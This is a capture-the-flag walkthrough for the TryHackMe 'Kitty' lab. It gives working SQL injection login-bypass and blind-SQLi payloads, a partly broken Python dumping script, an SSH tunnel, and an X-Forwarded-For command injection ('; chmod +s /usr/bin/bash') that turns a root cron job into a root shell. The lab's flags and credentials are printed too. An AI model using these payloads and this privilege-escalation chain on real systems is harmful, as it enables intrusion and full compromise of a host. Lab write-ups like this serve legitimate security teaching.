

TryHackMe — Kitty: In-Depth Walkthrough

Category: Web / SQL Injection · Target: 10.49.171.215 · User flag + Root flag

Flags

Flag	Value
User flag (/home/kitty/user.txt)	THM{31e606998972c3c6baae67bab463b16a}
Root flag (/root/root.txt)	THM{581bfc26b53f2e167a05613eecf039bb}

1. Port Scan

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.2p1 Ubuntu
80/tcp	open	http	Apache httpd 2.4.41 (Ubuntu)

Only SSH and an Apache PHP web server. The web app is our attack surface.

2. Web App Reconnaissance

The site is a simple login page (/index.php) with a registration page (/register.php). Registering a normal account and logging in lands on /welcome.php, which is empty — no other functionality. robots.txt does not exist. Directory fuzzing only surfaced config.php (blank when browsed). The only real attack surface is the login query.

3. SQL Injection Login Bypass

The login query is vulnerable. Sending a comment payload as the username bypasses authentication completely:

```
username = Kitty' -- -  
  
password = whatever  
  
SELECT * FROM siteusers WHERE username = 'Kitty' -- -' AND password =  
'whatever'  
  
AAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAA  
  
TRUE                               commented out  
  
→ 302 redirect to /welcome.php (logged in as Kitty)
```

The login success (302 → `welcome.php`) vs failure (`Invalid username or password`) forms a boolean oracle — exactly what we need for blind SQLi.

4. Blind SQL Injection — Dumping Kitty's Password

There is a WAF-ish filter in `index.php` that blocks `sleep`, `0x`, `/**/`, `ifnull`, `or`, and `-- <4 alnum chars>`. It is weak enough to bypass the login but breaks tools like SQLMap (it flags the finding as a false positive). So the password dump must be done by hand / scripted.

The oracle payload pattern used:

```
Kitty' AND SUBSTRING((SELECT BINARY password FROM siteusers WHERE username =  
'Kitty'), <pos>, 1) = '<char>' -- -
```

If the condition is TRUE, we get a 302 (login success); otherwise 200 with an error. A Python script walks every position and character:

```
import requests, string

CHARS = string.ascii_letters + string.digits + '._@$%^&*~+=;:~/?/<>|` '

def oracle(cond):

    u = "Kitty" AND %s -- -" % cond

    r = requests.post(BASE, data={'username': u, 'password': 'x'*20},

                      allow_redirects=False)

    return r.status_code == 302 and 'welcome.php' in
r.headers.get('Location','')

# db name

dump('SELECT database()')          -> mywebsite

# table name (LIKE-based)

EXISTS (SELECT 1 FROM information_schema.tables

        WHERE table_schema = database()

        AND BINARY table_name LIKE '<so_far>%')      -> siteusers

# Kitty's password
```

```
dump("SELECT BINARY password FROM siteusers WHERE username = 'Kitty'")

-> L0ng_Liv3_KittY
```

Two MySQL quirks to watch: `SUBSTRING()` past the end of a string compares as `' ' = ' '` (trailing-space padding) — fixed by checking `LENGTH(...) = pos` to stop; and `%` / `_` are LIKE wildcards, so they must be excluded from LIKE-based dumping.

5. SSH Foothold → User Flag

```
$ ssh kitty@10.49.171.215      # password: L0ng_Liv3_KittY

kitty@ubuntu:~$ id

uid=1000(kitty) gid=1000(kitty) groups=1000(kitty)

kitty@ubuntu:~$ cat user.txt

THM{31e606998972c3c6baae67bab463b16a}
```

6. Local Enumeration — A Second Website

Reading `/var/www/html/config.php` leaks MySQL credentials:

```
define('DB_USERNAME', 'kitty');

define('DB_PASSWORD', 'Sup3rAwes0m3Cat!');

define('DB_NAME',      'mywebsite');
```

`/var/www` contains a second, nearly identical site in `development/` (with a `logged` file owned by `www-data`). Its `config.php` points at a database named `devsite`.

Netstat shows the development site is served on internal port **8080** — not externally reachable.

An SSH tunnel exposes it locally:

```
$ ssh -L 8081:127.0.0.1:8080 kitty@10.49.171.215

$ curl -s http://127.0.0.1:8081/ -> 200 (devsite login)
```

7. Root via Cron + X-Forwarded-For Command Injection

No crons appear in `/etc/crontab`, but `/opt/log_checker.sh` exists — and it is executed as **root every minute** by a crontab entry:

```
#!/bin/sh

while read ip;
do

    /usr/bin/sh -c "echo $ip >> /root/logged";    # $ip is UNQUOTED ->
injection

done < /var/www/development/logged

cat /dev/null > /var/www/development/logged
```

Since `$ip` is not quoted, anything written into the `logged` file with a `;` gets executed as root. The file is owned by root and not writable by us — but the development site’s `index.php` writes the `X-Forwarded-For` header into it whenever an “evil word” is detected:

```
$evilwords = ["/sleep/i", "/0x/i", "/\\*\\*/", "/-- [a-z0-9]{4}/i",
```

```

"/ifnull/i", "/" or /i"];

foreach ($evilwords as $evilword) {

    if (preg_match($evilword, $username)) {

        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];          # our header!

        file_put_contents("/var/www/development/logged", $ip);

        die();

    }

}
}

```

Sending a request that trips the filter with a malicious `X-Forwarded-For`:

```

POST /index.php HTTP/1.1

Host: 127.0.0.1:8081

X-Forwarded-For: 127.0.0.1; chmod +s /usr/bin/bash

Content-Type: application/x-www-form-urlencoded

username=admin or 1&password=x

→ "SQL Injection detected. This incident will be logged!"

```

```
$ cat /var/www/development/logged

127.0.0.1; chmod +s /usr/bin/bash
```

Within a minute, the root cron executes `sh -c "echo 127.0.0.1; chmod +s /usr/bin/bash >> /root/logged"` — placing the SUID bit on bash:

```
$ ls -la /usr/bin/bash

-rwsr-sr-x 1 root root 1183448 ... /usr/bin/bash      # SUID now set!
```

8. Root Shell & Root Flag

```
kitty@ubuntu:~$ /usr/bin/bash -p -c "id"

uid=1000(kitty) gid=1000(kitty) euid=0(root) egid=0(root) groups=0(root)

kitty@ubuntu:~$ /usr/bin/bash -p -c "cat /root/root.txt"

THM{581bfc26b53f2e167a05613eecf039bb}
```

9. Attack Chain Summary

#	Step	Result
1	SQLi login bypass (<code>kitty' -- -</code>)	Authenticated as Kitty
2	Scripted blind SQLi (boolean oracle on login redirect)	Password <code>L0ng_Liv3_KittY</code>
3	SSH as kitty	User flag
4	<code>config.php</code> + internal devsite	Find the logged file

	on 8080 (SSH tunnel)	& cron script
5	<code>X-Forwarded-For</code> injection through the evil-word filter	Payload lands in <code>logged</code>
6	Root cron executes unquoted <code>\$ip</code>	SUID bash
7	<code>bash -p</code>	Root flag

10. Key Takeaways

- Blind SQLi with a boolean oracle can be fully scripted — SQLMap is not always the answer, and filters can defeat it while manual payloads work.
- An unquoted shell variable inside a root cron script is a classic command-injection pivot.
- HTTP headers (`X-Forwarded-For`) must never be trusted or logged without sanitisation.
- Always enumerate internal services and cron jobs (`ss -tlnp`, `pspy`) after gaining a foothold.